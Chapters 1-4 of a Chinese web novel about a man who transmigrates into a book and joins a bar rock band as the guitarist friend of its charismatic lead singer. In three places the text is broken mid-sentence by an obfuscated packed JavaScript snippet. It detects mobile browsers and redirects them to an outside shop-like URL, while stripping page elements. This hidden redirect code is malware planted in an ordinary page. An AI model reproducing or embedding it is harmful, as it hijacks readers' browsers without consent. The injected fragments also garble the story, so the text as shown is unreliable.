《一篇主攻单元文》 1. 闪亮登场 夜色摇曳,迷乱而招摇的灯光从Huracán酒吧里逸散开来,周围的巷子都被这灯光照亮了点。 在祈城南平巷尽头开了十二年的酒吧今晚迎来了它年轻而活力四射的乐队,又因为是周末,挤进来的人满满当当,大半人都在翘首以盼,舞台边喷出的冷雾混着劲爆的舞蹈,也不能阻挡台下的人疯了似的往前挤。 无他,今晚即将露面的乐队的主唱实在太帅了。 轰鸣般的音响炸了开来,迷乱的灯光被调暗之后变得更加迷离暧昧,射灯扫过了蠢蠢欲动的人群,层叠拥挤间传来了不少尖叫和交谈,光影晃动里还没能见到今晚的主角登场。 在昏暗的吧台边,打着领结的酒保擦拭着台面,在震动的人群里也没忍住频频抬头看向舞台。 他看了眼时间,知道再过不久乐队就会出场。 真是受欢迎啊,他暗暗嘀咕道。 就在他分神的时候,一只漂亮修长的手敲了敲台面。 酒保抬头一看,发现是刚刚和他要了一杯威士忌的卷发客人。 这位客人乍一看有点娃娃脸,有一双漂亮锐利的深栗色眼睛,笑起来的时候却有种阳光干净的气息,和酒吧里迷乱暧昧的氛围格格不入,更像是个还在读书的学生:“今天是有什么特别的活动吗?” 是个生客。 酒保在这个年轻人浅白色T恤和干净的脸庞上顿了一秒,心想这是哪来的高中生,连Huracán大名鼎鼎的乐队ONE都不认识。 他手上的动作没停,只是故作神秘道:“有惊喜,接着看就知道了。” 脸很嫩的年轻人听到这话,弯了弯眼睛,只是盘着手里的酒杯,靠在吧台边,目光朝着舞台看去,他有一头弯曲柔软的卷发,这样一挡,就不太能看清他的眸色了。 他喝了口辛辣的酒,面上的神色却没有变。 事实上,这个名叫游星戈的青年正在心里思考,他应该没找错地方,从拿着地图在祈城巷子里检索开始,到这家酒吧门口贴着的招聘启事、已经有些泛旧的乐队海报,都表明他找对了地方。 再过一会,他就能见到书里那位众星捧月的点家男主了。 柔软浓密的发丝下,他露出了个微笑,眉眼弯弯,是很招人喜欢的灿烂笑容。 嘛,毕竟扮演好男主的好兄弟是他的穿书任务,当然要好好对待。 迷幻的灯光一下子被调暗了,人群里兴奋的尖叫冲击着游星戈的耳膜,台下有人鼓掌有人吹口哨,也有人兴致昂扬地大声喊着:“Mike!Mike!Mike!” 原本震耳欲聋的音效被调低了,取而代之的是一阵又一阵的鼓声,敲起来简直震在人的心里,让人跟着一颤,乐声像迷雾般笼罩过来。 只有明亮的一束光打在舞台上,黑色皮夹克的人影刚从黑暗里出来,游星戈的周围就充满了激动的尖叫,传染般响彻整个酒吧,离游星戈很近的一个女孩像是要把嗓子喊哑:“Mike!” 这声音的最后,在旁边的酒保也没忍住看向舞台,手里擦拭酒杯的动作都停住了。 有的人生来就自带聚光灯,这句话用来形容ONE的主唱程际野一点也没错,他只要出场,就能得到所有人的注目。 今晚的天气很热,酒吧的空气更是躁动,程际野出场的时候,黑色皮马甲下的衬衫被他挽到袖口,露出了肌肉结实的小臂,一双极深的眼睛带着浅浅的笑意扫视全场,对那些带着爱慕和激动的目光仿若习以为常,他扬了下头,然后打了个响指。 清脆,迷乱,台下的氛围一下轰起来了。 在数不清的掌声和尖叫里,还能带出来几句嘶吼: “ONE!!你们太帅了!!” “Mike,多唱点!!今晚别走” “Mike!!看我!!艹我!!!” 整场只有舞台和吧台上有灯光,酒保也要被淹没在这些尖叫里了。 而在酒保的余光里,原本靠在吧台旁的卷发青年一下子认真地坐直了,视线紧紧地落在舞台上。 酒保笑了下,心想果然没人能逃过Mike的魅力。 游星戈的目光牢牢盯着舞台,看向了那个灯光聚拢下的男人。 程际野。 《乐成》的男主,这个世界的主角,一个骄傲轻狂、棱角分明的男人,拥有点家正时兴的配置,无论走到哪里都风头无两迷妹无数。 他的任务就是成为这位男主的好兄弟兼小弟。 这是穿书者要担当的职责,无论如何都要维护好原书的主线剧情。 只是—— 他遥遥看向了对方的长相,动作间,这个男人一个弯腰一个带起的话筒都充满了张力,连挑眉也带着桀骜和挑衅。 啧,这个男人。 他的手碰到了后面的乐器包。 激烈的前奏铺垫着乐声,键盘手低垂眉眼,安静得不像话,金色小辫的鼓手则敲击着鼓面,在动感的音乐里游刃有余。 全场的目光都落在他们身上,更确切地说,更多地落在那个眉眼深邃的男人身上。 Mike,程际野。 他开口的声音沙哑而充满魅力,在雾效弥漫的舞台上,和着躁动的鼓点挑动着人的耳膜,这个看上去满不在乎的男人随着音乐节奏拨动着吉他弦,马丁靴敲打着地面,从音箱里一起传来的节奏感超强的乐音带动着整个酒吧。 只有高昂的尖叫一声声传来,在叫好声里,游星戈的目光有如实质般落在他身上,并不锋利,但不容忽视。 音乐震声,也一起涌进他的心脏,带着微微的颤动。 游星戈的指尖在杯壁上敲了敲,打量起这位男主。 程际野有一张给人感觉攻击性极强的脸,鼻梁高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631663|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺,一双扫视过去的眼睛锐利又分明,除了帅,还给人极深刻的印象,尤其是他扶住耳返视线扫过来时,骄傲的眉眼连带着他的音乐一起展露无遗。 炫目的灯光里,他又弹唱了半个多小时,热得不行,把黑色的皮马甲脱了,下面的人又是一阵尖叫。 汗水顺着发丝肆意地挥洒,穿过挽起袖子的白色衬衫,浸湿了衣角,甚至勾勒出紧致的腰线,他抬头,扎进黑色腰带的衬衣连带着拉起,他将衣服一把甩到旁边。 鼓声震耳欲聋,舞台的冷雾放得让人视线缭乱,欢呼和尖叫此起彼伏,程际野朝台下抛了个飞吻。 台下更加沸腾了,不断有人叫着Mike,甚至有人激动地哭了起来。 不知道是不是游星戈的视线太过专注,又或者台下只有吧台一圈打着灯光,黑发的男人松开立麦的同时,若有所觉般看了过来,在对视的一瞬间,程际野挑了挑眉,准确无误地传达出了一个笑。 鼓声震得游星戈心头一颤。 他的手顿了顿,转了下酒杯,有那么几滴酒液不小心洒出来了,落在他的虎口处。 他回了程际野一个笑,将杯子里的酒一饮而尽,辛辣的味道在喉咙里炸开,他面不改色地放下了杯子。 沉浸在音乐里的男人很快忘掉了刚刚对视那一眼里的卷发年轻人,只有游星戈无意识地把玩着手里的杯子,有些心不在焉。 要不是他剧本里的身份是程际野的兄弟,程际野又是个铁直,他是真想把这男人搞到手。 中场休息时,灯光熄了些,音乐平复,酒保终于恋恋不舍地将视线从舞台上转回来,这时候才发现面前的卷发客人的目光还停留在台上要下去的人影上,他见多识广,多少猜得到这位客人在想什么。 酒保耸了耸肩:“这年头,想和Mike上床的人可不少哦。” 他这一句话惊醒了正在思考的游星戈,卷发的笑起来眼睛弯弯的年轻人看上去脾气很好,他放下了手里的杯子,只接道:“是嘛。” 唇齿间流转出来的声音在酒吧里居然很暧昧。 酒保一下子没忍住说了更多,他凑上前,像是在说什么秘密:“但是他铁直的,以前有男歌迷,裸男,堵在门口给他下跪送花,把Mike恶心得差点吐出来。” 游星戈嘴角抽了抽,心想这要是他也得恶心得吃不下饭。 酒保看见他的神情,像是明白了点什么:“你该不会是冲着他来的吧?” 他这句话还没有说完,面前面庞透着干净帅气学生气的青年就收紧了乐器包,似乎有点不好意思地下了卡座:“那倒不是。” 游星戈冲他一笑,这个笑容里带着生机勃勃的阳光感,像是棵挺拔坚韧的白杨。 酒保被他这一笑晃了眼。 “我是来应聘吉他手的。”游星戈说。 他晃了晃乐器包。 2. 好的,起点男主 南平巷子口的乐队里,ONE,不说最出名,提起来总能比其他乐队多说几句。 不仅因为主唱长得帅又会唱,还在于乐队里孩子都两岁大的贝斯手、三天两头打架的鼓手和换了一次又一次的吉他手,让它听起来像个草台班子。 不过,这也不是有朝一日乐队被未成年找上门来的原因。 查尔斯吃着烤串鼓起的腮帮子都顿住了,这位金发小辫的鼓手有些不敢置信地拿着串,把目光对上了酒吧老板:“这小崽子就是你找的吉他手?” 他指的是长得过于显小的游星戈。 这时候乐队的演出已经结束了,酒吧后门拐出去是条街,路口大排档冒着烟,老板带着袖套忙上忙下,他们哥几个吃得正欢,这时候酒吧老板带着个背着乐器包的小孩过来,说这是给他们新找的吉他手。 查尔斯擦了擦眼睛。 这小孩长得好看,黑色卷发,就是年纪也忒小了吧。 他有些犹豫地看向老板背后的卷毛小子,对方居然朝他扬起了个灿烂的笑。 妈呀,真是闪瞎人眼。 查尔斯拿着烧烤串签子的手捂住心口。 “当然啦。”酒吧老板明艳动人,像是某个抒情MV里的吉普赛女郎,她嗲住声音说,还放心地拍了拍游星戈的肩。 “替你们考验过了,我超贴心的,”她又一把把游星戈按在了大排档桌边,红色的塑料凳真是硌屁股,“相信小游嘛,正好还缺人,要知道啊,老板我能替你们找到个新吉他手不容易啊。” 她冲仰头看她的游星戈眨了眨眼。 这时候刚从摊边拿了两瓶啤酒过来的程际野才听到他们在说什么,他先是对上了自家鼓手有些被噎住的眼神,然后又对上了老板杜乔的含着微笑的脸。 她明晃晃的眼神里充满了暗示,毕竟继一个又一个吉他手跑掉之后,他们乐队已经有了风水不好的名声,招聘启事贴了一个月没人上门,这个绝不能放跑。 程际野意会,他打量了一下游星戈,在对方的脸上没忍住多停留了一会:“成年了吗?” 这句话其实他刚刚就想问,在台上的时候他就看到了这小孩,注意到他长相太嫩,也不知道怎么混进酒吧的。 游星戈被他一盯,露出了个笑:“成年了,今年已经大学毕业了。” 背着乐器包的年轻人笑起来暖洋洋的,白T恤都能透出来的干净清爽。 难怪,这么不设防。 程际野把啤酒放在了小方桌上。 金发小辫的鼓手挠了挠头:“行,成年就行,明天排练去,我看看你水平咋样。” 要是水平不行,比不上他们换过的三个吉他手里最差的那一个,就算是杜乔姐考过的也不行,他暗暗嘀咕道。 嗯,长得好看也不行。 卷发的年轻人想了想,自信开口:“不用,我现在就能弹。” 这小孩怎么这么直接,坐在小方桌另一边的李钴也打量了他一眼。 程际野对上游星戈认真的脸,那双深栗色的眼睛里有着诚恳,仿佛这是对他很重要的事情一样,程际野心下一愣,还是开口:“等明天吧,今天太晚了。” 已经快凌晨了。 他伸出手:“我是程际野,是主唱。” 好的,起点男主。 游星戈回握过去,对上程际野的深栗色眼睛浮现起笑意,像是点点碎碎的星光一起被揉了进去。 程际野没忍住多看了他一眼。 “查尔斯。”大大咧咧的金发混血鼓手扬起笑容。 “李钴。”有个两岁女儿的贝斯手看上去像是个胡子拉碴不修边幅的大叔,意外沉稳地点了点头。 “还有键盘手,键盘手键盘手,”查尔斯插嘴道,“我们陈青老师晚上忙着,刚刚走掉,明天排练,正好带你见见他。” 游星戈的目光在空掉的位置上顿了下。 凌晨的烧烤摊临着烟火气,他们围着坐的位置也隐蔽,隔着条巷道的酒吧只能看出点光影。 然后游星戈像想起了什么似的:“那可巧了,我刚刚和小乔姐出来的时候好像还看到他了。” “我叫游星戈。”他接着说。 真是有性格的名字,程际野拿起烧烤串的手都顿了下。 风情万种的老板不知道什么时候走了,这下乐队三个人加上新来的游星戈,围在小方桌边,大排档的烧烤气排排往上窜,冲着凌晨的冷,金发的鼓手对游星戈好奇得不得了,一直追问他问题。 毕竟看刚刚游星戈的样子,加上杜乔姐离开之前给他打的手势,查尔斯多少能猜到游星戈水平应该相当不错,反正很快就要成为乐队的新成员了,他多问点应该没问题。 得亏卷发青年看上去脾气好,怎么问都不生气,最后查尔斯倒乐了,大力拍上游星戈的肩,道:“你小子,怎么什么都往外说,把嘴放严点,外面可都不像我们这,我们都是好人,外面就不一样了。” 游星戈勾起嘴角。 查尔斯也是真的喝醉了,醉醺醺的脸上泛着红,为求赞同,他将视线转移到了程际野身上,程际野这时候眉眼有点懒,长腿在红塑料凳上搭着,都没地方放。 游星戈看向他,发现这位起点男主台上台下真是不太一样。 在台上拽得让人想把他拖上床,这时又整个人像是游离于周围般,透着股浑不在意的劲儿。 他内心有所意动,面上却弯起眼睛。 程际野漫不经心对上他的视线时,只能看到夜色渲染里,穿着白T恤牛仔裤的年轻人扬起的笑容。 真是刚出社会的学生。 他的腿换了个更舒服的姿势,然后才回答了查尔斯的话。 这时候已经很晚了,李钴说再不走他得被家里那口子揪耳朵,查尔斯笑着就让他走了。 不远处的烧烤摊老板似乎也已经打算收拾收拾收摊了,程际野突然抬头问正和查尔斯一起在烧烤山里挣扎的游星戈:“你以前听说过ONE吗?” 怎么可能没听过,游星戈点点头:“我听说过。” “那你来ONE的原因是什么?”程际野问,狭长又很深的眼睛像在舞台上那样眯起,他长相偏冷峻锋利那一挂,问起这话时看起来有点严肃。 查尔斯都顿住了,他从烧烤山里探出头来,眼神有点惊恐。 不是,哥,他都还没加入,怎么着也得明天考过之后再说啊。 游星戈想了想说:“穷得没钱吃饭,正好看到招聘启事了。” 虽然颠倒了下,但他说的何尝不是实话。 查尔斯在旁边噎了一下。 果然,他就说ONE迟早会变成一个真的草台班子吧,当初入股的时候是真没想到啊。 他哭丧个脸。 程际野听到这话挑了挑眉:“现在搞乐队已经不挣钱了。” 有时候还往里赔钱。 “我知道,”游星戈说,“我开玩笑的。” 他慢悠悠地继续开口:“是因为我刚来祈城,找的工作去看时发现是传销,没办法,我本来已经说好在祈城大地上扎根了。” 他耸了耸肩。 这年头来祈城发展的人太多了,鱼龙混杂什么都有,尤其是南城区,乱得不成样子,三教九流的传销遍地。 程际野听了这话,深沉的眸色里也酝酿出笑意,像是一泓水荡在夜色里,不是很明显。 这小孩还挺有防范意识,起码没被骗进传销里。 烧烤吃到最后,查尔斯醉得不行,最后是老板从楼上款款下来,说他这样子回家不安全,干脆地就让他在酒吧上面的休息厅将就将就。 夜风扑朔,美艳的老板刚把人带走,游星戈看着她款款拎着人上楼的背影,有些失神。 程际野挑了挑眉,心说杜乔的魅力有那么大嘛。 目不转睛的。 谁料旁边的这家伙开口:“小乔姐是不是练过啊?身手真矫健。” 游星戈露出一个沉思的表情。 程际野顿了顿:“她学过一些。” 他和杜乔是认识多年的朋友,知道这些不奇怪。 倒是游星戈,这么快就叫上小乔姐了。 是个挺自来熟的家伙。 程际野在心里盖棺定论,他接着扫了一圈游星戈,这人除了个乐器包身上什么都没带,干净利落得像是早就盯上了这里,他开口:“你住哪?我送你回去。” 现在已经凌晨一点多了,扑扑的冷气往衣领里钻。 他要是不送游星戈,这个时间点甚至还打不到车。 游星戈顿了下:“离这有点远。” “没事。”程际野从裤口袋里拿出钥匙,停在酒吧侧门的摩托车很明显是他的目标。 游星戈挑了挑眉,认出是这个年代的哈雷,这款重型机车常常和桀骜不驯联系在一起,书里写过程际野会开,开得还很不错。 “上来。”程际野跨上去,将头盔抛给游星戈,动作利落,黑色头发被风吹开了点,露出了线条分明的侧脸。 “酷得像台剧。”游星戈评价道,毫不扭捏地跨坐在程际野身后,带上了头盔。 “我当你是夸奖。” 两个人有来有回。 “不过,”程际野听到后面人开口,声音在风中带着点模模糊糊的笑意:“我扶腰还是扶你肩?” 有区别吗? 程际野道:“随你。” 于是这人毫不犹豫地上手扶住了他的腰。 啧。 程际野:“我建议你扶稳。” 事实上,哈雷性能很稳,绝不会把人甩飞出去,在一阵强劲的马达声带起的风里,摩托车载着两人开出了酒吧后街。 冷风刮街,也刮到两个人身上,程际野这时候才想起来问:“对了,你住哪?” 风声太大,凌晨城市的夜风像刀子一样刮在游星戈脸上,他惬意地眯起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631664|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,有些没听清程际野说什么:“什么?” “不知道的话,我带你先在祈城城区绕一圈好不好。”程际野垂下眼帘,有点威胁的意味。 “那就不用了,”游星戈总算意识到程际野在说什么,他弯起眼睛,“城西宾馆。” 程际野想起来什么:“你还住在宾馆?” 游星戈:“刚来祈城第三天,昨天才发现被骗诶。” 他的声音听起来有些郁闷。 程际野没说话。 在冷冽的夜风里,他带着游星戈穿行了祈城河边繁华的半圈,水灯映着道,那种熟悉的、刮骨般的放纵又从骨子里涌出来。 程际野喜欢一切能带来刺激的东西,包括摇滚乐、机车和酒精。 他能感受到腰间的力度,对方有些左顾右盼,他甚至能感受到被风吹过来的细碎发丝,痒痒的,游星戈好像有点兴奋。 第一次坐机车? 他不动声色地准备放慢一下速度,后面的人察觉到了什么,带着笑意的声音传来:“快点。” 程际野挑眉笑了笑。 别的不说,游星戈还挺对他胃口。 哈雷摩托像它打的广告一样值得信赖,加足马力后,风像是一下子从他们身边剥离开来,只能感受到刺耳的声音和冷意,带着原始的、狂野的气息,会让血液战栗起来。 游星戈同样喜欢这种感觉。 有种在旷野里吹风的感觉,周围无人,只有麦草沙沙作响。 所以——凛冽的风穿过了他,游星戈收紧了扶着对方腰的手,感受到了心脏不知在生理还是心理作用下的瞬间沸腾,他的眼睛在夜色里很明亮地捧着笑意。 程际野。 他在心里默念着这个名字。 希望你能让我的穿书生活更有意思。 他露出一个微笑,哪怕在漆黑的夜色里,也能看到那双深栗色的眼睛很亮,像是巧克力河上泛出的波光潋滟。 很快,机车在一个大甩尾后拐进了街道,又稳稳地停在了宾馆门前。 游星戈摘下了头盔,他刚准备下车的时候,程际野叫住了他:“我隔壁有间房,你租不租?” “我还没成为乐队成员呢。”游星戈道。 “迟早的事。”程际野相信自己不会看错,有的人天生张了副适合搞音乐的皮囊。 “好啊,明天顺便带我去看房。”游星戈下了车,很是爽快地回答道。 程际野挑了挑眉:“你不怕我骗你?” “我相信你。” 起点男主的信用还是可靠的。 程际野听他这么干脆,接过头盔的时候打量他两下。 居然真不怕被坑。 “总之,”游星戈的眼睛盛着明亮真诚的笑意,往前走的时候还不忘回头挥手,“谢谢你,哥。” 年轻人的卷发在风里被吹得飞扬了些,漂亮得不成样子。 哥—— 程际野砸吧了下这个词的含义,有些失笑。 真是自来熟。 直到看见游星戈的背影渐渐被笼罩进宾馆里,程际野才回过神,骑上机车离开。 而在他背后,游星戈已经上了宾馆二楼,能透过楼梯的窗子看见程际野离开,他安静地垂下了眼。 宾馆的格子缝隙里蒙着一层灰,像是雾霾的天色。 当他翻开《乐成》这本书时,也是这样一个天色。 那时他没有想到自己会穿进书里,看这本书的时候还在心里默默吐槽了句这书真是俗套,就是个男人在唱片尚且还有余晖的年代追求自己的音乐道路,从酒吧里落魄的驻唱到国内知名歌手的故事,时间跨度很长,甚至一度有流水账的嫌疑。 能让他继续读下去的,是男主程际野这个并不俗套的人物。 游星戈向来欣赏棱角分明才华横溢的人。 现在见到真人后,又多了一点。 他想睡他。 可惜,游星戈这个人物在这个故事里只是个无关紧要的配角,占的篇幅很短,是男主乐队时期的好友、兄弟、跟班,什么都能形容,最后又注定会和程际野分道扬镳。 乐队解散时,游星戈就和程际野决裂了,并从此放下了音乐,转身泯然于世俗的人海里,从书里来看,那之后,他一生都没有再和程际野联系过。 他最后一次露面,就是在结局时,他路过了程际野拿到某个国际大奖星光璀璨的大屏,那时候三十多岁的程际野眉眼已经比当年稳重多,也耀眼多了,而当年同样是乐队成员的游星戈泯然于众,只是在大屏下驻足了一会,就提着手里的菜,一头扎进了人海里。 像他当年路过了程际野那段藉藉无名的时光一样,走得也悄无声息。 夜里的柳絮丝飘了点进来,铺在楼梯间的最后一阶,前面拿钥匙带路的客房服务有些不耐烦地催促着,游星戈不太介意,只是加快了脚步。 这是一个很普通的夜晚。 3. 午后 能够被老板兼半个经理人的杜乔认可的吉他手绝不会是一个坏吉他手。 更何况,游星戈本人出了名的帅气有才,吉他弹得贼拉好。 所以,他按照书里所写的那样,顺利混进了乐队。 查尔斯比他还高兴,大大咧咧的鼓手个性相当鲜明,中午就要约他一起吃饭,碰杯的时候笑得牙不见眼。 李钴在旁边三令五申让他们少喝点,结果就看到主唱默默地喝掉了一瓶。 他对上程际野的目光:“……” 程际野:“……我喝得少。” 有一双上挑眼的贝斯手闭了闭眼。 坐在角落里的键盘手同样默默地喝着酒,就是游星戈昨天没能见到的陈青,他有一头黑色的披肩发,美人尖,脸色苍白,对上游星戈投注过来的目光还一愣,然后露出了半个浅笑。 游星戈同样回了他一个笑容,很灿烂。 “有了吉他手的ONE才是一个完整的ONE,”查尔斯举杯道,他属于那种很容易就醉倒的人,一喝酒脸上就泛红,“干杯!” “干杯。” 五只酒杯碰在一起,挥洒出金色的酒液。 这只乐队以一种轻巧的方式接纳了游星戈,现实显示出同书中一样的走向。 “敬音乐。”查尔斯说。 游星戈看进了程际野的眼睛里,这个人顿了下说:“敬现在。” 波澜不惊的黑色眼睛里掠过了游星戈的脸。 游星戈投之以淡淡的微笑。 这个时候的乐队并不会想到,再过一年,他们就会解散,一起走过的金色岁月一起被搁置在二十多岁的时候,只成为多年之后功成名就的程际野面对采访时神色淡淡几句带过的一段经历。 但是在那之前。 游星戈想,他还有时间做很多事情。 酒液挥洒,他露出了个弯起眼的笑。 ———————————— 游星戈很快就搬进了程际野租给他的隔壁间。 他东西少得可怜,全部的家当只有一个行李箱和一个乐器包,像他这个人一样简洁。 这是栋五层小楼,很普通的那种马路边随处可见的居民楼,离南城区中心很近,同样的,离Huracán酒吧也很近,他们在二楼,他和程际野的房间通过阳台的走廊就能串联起来。 楼下没人住,顶层是直接被乐队包下来当排练室的。 程际野确定他真要租的时候还惊讶了一下,但是面对他们乐队的新吉他手,这家伙的笑容让人难以招架,程际野把烟掐灭,点头就拟了一份合同。 “有正门钥匙,厨房、卫浴都有,还有什么,阳台还有几盆花,走过去别踩到,但是你从正门走应该不会有这个问题。” 程际野说这些话的时候,以为游星戈在认真听,实际上游星戈的目光扫过了屋内整洁得一丝不苟的环境——客厅不算大,居然还能放下一整面书架和一架钢琴,并且屋子干净得和外面的环境格格不入——然后他的视线落在了程际野的脑袋后面。 书里写过程际野长着反骨,年轻的时候很叛逆。 程际野身上的烟味还没有完全散去,在发丝顺着微风的弧度摆动时,淡色的天和他身上的味道融合了,他的外套刚换上,没整理好,之前大概是倚着沙发在看书,衬衣的折角很皱。 他太久没说话了,程际野觉得不对,扭头一看发现这家伙在发呆。 程际野眼眸里带了些促狭的笑意:“你在听我说话吗?” 这小卷毛上课的时候也走神吗? 游星戈不动声色地转移视线,弯起眼睛:“在听。” 天色依旧是半明不明的样,房间的空气里有一股清新的味道,游星戈背着的乐器包被放在沙发一边,太阳不知道什么时候出来了。 今天极有可能成为程际野前二十多年里说话最多的一天,舞台上的主唱在生活中是个有些懒散的人,对他来说今天这样也是件难得的事。 在所有事情都谈妥之后,游星戈在租房合同上却只是扫了一眼就签上了名字。 “你……”程际野皱了下眉还想说些什么的时候,卷头发的吉他手却被面前的钢琴吸引了目光。 游星戈没听到程际野的话,他揭开盖住钢琴的遮布一角,站在那里,近乎随意地敲响了一段音符。 真的很随便,他甚至没有坐下。 不知道何时来到的阳光从玻璃窗里透了出来,他的发丝在阳光下闪闪发光,连音符跳跃的指尖一下都变得有些透明起来。 午后温暖的阳光穿过书架,空气里浮动着细小的尘埃,被阳光一照能看清,房间里带着股书籍所特有的油墨香和木香,柔软干燥的头发丝下面,长得过于年轻的青年按下琴键,手指修长,跃动起来的弧度也漂亮。 程际野倚在墙边看着,一时间舒展了眉头。 这时候游星戈目光中兴致勃勃的认真是任何人都模仿不出来的,年轻的脸庞被音符抚摸,又顺顺当当地游走进空气里,程际野的手指下意识打着圈儿,把这一小节音从内到外都理清了。 是德彪西《月光》里的一段。 悦耳而朦胧的调子,在倾泻出来的最后一个音符处戛然而止。 游星戈有些错愕地看向了程际野的眼睛。 “不对,最后一个是这个音。”眉眼看上去很冷的男人只是握住了游星戈的指尖,然后敲响了另一个键。 最后一个音符落下,程际野黑沉的眼睛里都酝酿出笑意。 新来的吉他手除了太过单纯外,其他一切都很符合他的审美。 而且—— 程际野的视线落在了在阳光照耀下深栗色的眼睛,那里浮动着一片巧克力河,冰块撞击着河岸,又被阳光渡了一层金边。 长得不错。 游星戈的手指不动声色地在程际野的手间摩挲了一下,感受到了清晰细腻的纹理,连温度都刚好的温热。 男主的豆腐很好吃,游星戈垂下眼,收回了手,这样恰巧背对着钢琴,他往后一搭,手就按上了钢琴键,落出高低不平的声音。 “哥。”他说。 游星戈现在已经能把这个词完整顺利地说出来,甚至很轻快。 面前的男主已经把视线落在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631665|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸上好一会了,他再不提醒这人,他们怕是要在这里站个好一会。 游星戈道:“那我们以后就算邻居了?” 他挑了下眉,浅色的外套里,本来就挺拔的青年显示出一种仍然在生长的错觉,生气勃勃里带着丝不确定。 “你可以这么认为,”程际野像是终于回过神来,他低声道,声音里恢复了平日懒散的笑意,“我们的吉他手。” 程际野有把好嗓子,不仅在舞台上,这时候也是。 撩妹的本事也是一流。 可惜了,是个直男。 虽然在心里想着,游星戈还是调笑般接茬道:“好的,主唱大人,我会天天去打扰你的。” 程际野没反应过来似地“嗯”了一声,把手里的烟茬顺势扔进了垃圾桶,然后才道:“后天排练,你可以先准备准备。” 他想起来什么:“你吉他弹得很不错,比以前的那几个要好。” 游星戈问,有点好奇:“前面几个是因为什么被开的?” 程际野沉默了下才开口,回答得很简洁:“第三个是因为态度不负责,第二个是因为泡妞,私生活过于混乱。” 一向说话没什么感情色彩的程际野的评价里严谨地带了个“过于”,想想大概就知道有多混乱。 “那第一个呢?” “第一个嘛。”程际野神色变得有些复杂。 那是他们乐队的第一位吉他手,在乐队成立之初,合该是有感情的。 很负责、看上去也很洁身自好的人。 “他染了病。” 而且还隐瞒了。 程际野平静地开口:“因为这个缘故,他离开了ONE。” 游星戈若有所思。 他记得这个人,和男主有关的,书里总会提上那么两笔,比如ONE的第一位吉他手。 染了艾滋,后来去世了。 书里语焉不详地写过他是个同性恋。 游星戈有时候搞不懂这本起点小说为什么与网站风格格格不入,毕竟不是哪个作者会在一本起点文里描写gay,哪怕只有两笔。 尤其是在主角是个直男的基础上。 程际野不知道他在想什么,他慢吞吞地同样往后一靠,按上了桌子。 从阳台窗子落进来的阳光从中间分割,恰好让程际野整个人连着影子蒙上了一层暗,只有游星戈站的地方还带着阳光,一条线状的光将两个人分割开来。 木香弥漫。 游星戈在午后阳光里的表情让程际野一时间有些没分清楚,大概因为刚刚想到了他们第一位吉他手以及他比较特殊的性取向,程际野内心涌起来点微妙的感觉。 “我先回房间了,你要是有什么事可以叫我。”程际野说,又抽开了烟盒,忽略了内心说不清道不明的烦躁。 当然不是针对游星戈。 只是他在午后过于温暖的空气里感受到了点燥热。 说不清楚。 阳台放着的花瓶颈口处的阳光呈现出近乎完美的椭圆形,程际野一走过,就打乱了这片影子。 他毫无所觉。 4. 点烟 游星戈晚上洗完澡出来,打开了书桌上的电脑。 他来祈城的时候,身上带着的最值钱的就这两样,他的电脑和吉他。 打开界面,屏幕丝滑地转入了蓝色的代码网站,一行一行,游星戈面不改色地滚动着鼠标。 他的头发湿哒哒地滴下水,房间里的绿植在水汽氤氲里垂下了头,一片黑暗,只有桌角的台灯和电脑的蓝光在泛着,照亮了他的脸。 他正在编代码打愤怒的小鸟,这游戏是他永远的经典白月光。 可惜这个时代网络没有那么发达,很多游戏还没上线,有的想玩的只能自己动手编,一些简易的运行脚本他还是能做出来的。 等到他完成扮演任务之后,时代差不多也会发展到相当前沿的地步了吧。 游星戈的鼠标点了点,准确无误地投掷了一只小鸟,他在心里想。 他穿进这本书里时,就被告知只要完成扮演男主的好兄弟这一个任务就行,再后面的事情谁也管不着。 头发依旧在滴水,他拿了块毛巾擦了擦,凌乱的黑色卷毛试图向它的主人抗议,再这么随便地擦明天就不能维持帅气的形象了,被游星戈无情镇压。 卷发青年穿着睡衣,把毛巾随手搭在了椅背上,又从冰箱里拿出了瓶罐装果汁,就往阳台走去。 去看看这次的任务对象。 他和程际野是单独的两个房间,各自有客厅卧室,只是阳台是连着的,呈现出九十度的折角,阳台上还摆着些花草,下午他出去挂衣服的时候还看见对方迎着阳光拿着水壶在给花浇水。 这起点男主还挺有闲情雅致的,大概现在确实算他生命中较为闲暇的时光了吧。 再过个几年,火到大江南北的时候,程际野可能再不会有这样的心情去浇一盏花了。 楼下开了家影像店,悠悠扬扬地放着唱片,很模糊的声音,像是上个世纪八十年代大火的台湾歌手的专辑,还有嘈杂的小孩子奔跑嬉闹的声音,和着傍晚树被风吹起的沙沙声。 这里临近老城区中心,入夜还带着点车水马龙的喧闹,空气里浮动着燥热,闷闷的。 